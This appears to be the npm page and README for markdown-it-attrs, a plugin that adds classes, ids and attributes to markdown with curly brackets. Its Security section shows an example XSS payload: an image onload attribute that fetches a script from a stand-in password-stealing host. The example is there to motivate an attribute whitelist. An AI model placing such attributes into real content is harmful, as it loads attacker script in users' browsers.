Have ideas to improve npm?Join in the discussion! »

    markdown-it-attrs

    4.0.0 • Public • Published

    markdown-it-attrs Build Status npm version Coverage Status

    Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc's header attributes.

    Example input:

    # header {.style-me}
    paragraph {data-toggle=modal}

    Output:

    <h1 class="style-me">header</h1>
    <p data-toggle="modal">paragraph</p>

    Works with inline elements too:

    paragraph *style me*{.red} more text

    Output:

    <p>paragraph <em class="red">style me</em> more text</p>

    And fenced code blocks:

    
    ```python {data=asdf}
    nums = [x for x in range(10)]
    ```
    

    Output:

    <pre><code data="asdf" class="language-python">
    nums = [x for x in range(10)]
    </code></pre>

    You can use .. as a short-hand for css-module=:

    Use the css-module green on this paragraph. {..green}

    Output:

    <p css-module="green">Use the css-module green on this paragraph.</p>

    Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):

    paragraph with [a style me span]{.red}

    Output:

    <p>paragraph with <span class="red">a style me span</span></p>

    Install

    $ npm install --save markdown-it-attrs
    

    Usage

    var md = require('markdown-it')();
    var markdownItAttrs = require('markdown-it-attrs');
    
    md.use(markdownItAttrs, {
      // optional, these are default options
      leftDelimiter: '{',
      rightDelimiter: '}',
      allowedAttributes: []  // empty array = all attributes are allowed
    });
    
    var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
    var res = md.render(src);
    
    console.log(res);

    demo as jsfiddle

    Security

    A user may insert rogue attributes like this:

    ![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}

    If security is a concern, use an attribute whitelist:

    md.use(markdownItAttrs, {
      allowedAttributes: ['id', 'class', /^regex.*$/]
    });

    Now only id, class and attributes beginning with regex are allowed:

    text {#red .green regex=allowed onclick=alert('hello')}

    Output:

    <p id="red" class="green" regex="allowed">text</p>

    Ambiguity

    When class can be applied to both inline or block element, inline element will take precedence:

    - list item **bold**{.red}

    Output:

    <ul>
    <li>list item <strong class="red">bold</strong></li>
    <ul>

    If you need the class to apply to the list item instead, use a space:

    - list item **bold** {.red}

    Output:

    <ul>
    <li class="red">list item <strong>bold</strong></li>
    </ul>

    If you need the class to apply to the <ul> element, use a new line:

    - list item **bold**
    {.red}

    Output:

    <ul class="red">
    <li>list item <strong>bold</strong></li>
    </ul>

    If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol>. You may force it to apply to the outer <ul> by adding curly below on a paragraph by its own:

    - item
      - nested item {.a}
    {.b}
    
    {.c}

    Output:

    <ul class="c">
      <li>item
        <ul class="b">
          <li class="a">nested item</li>
        </ul>
      </li>
    </ul>

    This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.

    Similar for tables, attributes must be two new lines below:

    header1 | header2
    ------- | -------
    column1 | column2
    
    {.special}

    Output:

    <table class="special">
      <thead>
        <tr>
          <th>header1</th>
          <th>header2</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td>column1</td>
          <td>column2</td>
        </tr>
      </tbody>
    </table>

    If you need finer control, decorate might help you.

    Custom rendering

    If you would like some other output, you can override renderers:

    const md = require('markdown-it')();
    const markdownItAttrs = require('markdown-it-attrs');
    
    md.use(markdownItAttrs);
    
    // custom renderer for fences
    md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
      const token = tokens[idx];
      return  '<pre' + slf.renderAttrs(token) + '>'
        + '<code>' + token.content + '</code>'
        + '</pre>';
    }
    
    let src = [
      '',
      '```js {.abcd}',
      'var a = 1;',
      '```'
    ].join('\n')
    
    console.log(md.render(src));

    Output:

    <pre class="abcd"><code>var a = 1;
    </code></pre>

    Read more about custom rendering at markdown-it.

    Custom blocks

    markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.

    Remember to render attributes if you use a custom renderer.

    Custom delimiters

    To use different delimiters than the default, add configuration for leftDelimiter and rightDelimiter:

    md.use(attrs, {
      leftDelimiter: '[',
      rightDelimiter: ']'
    });

    Which will render

    # title [.large]

    as

    <h1 class="large">title</h1>

    License

    MIT © Arve Seljebu

    Install

    npm i markdown-it-attrs

    DownloadsWeekly Downloads

    23,182

    Version

    4.0.0

    License

    MIT

    Unpacked Size

    109 kB

    Total Files

    19

    Last publish

    Collaborators

    • avatar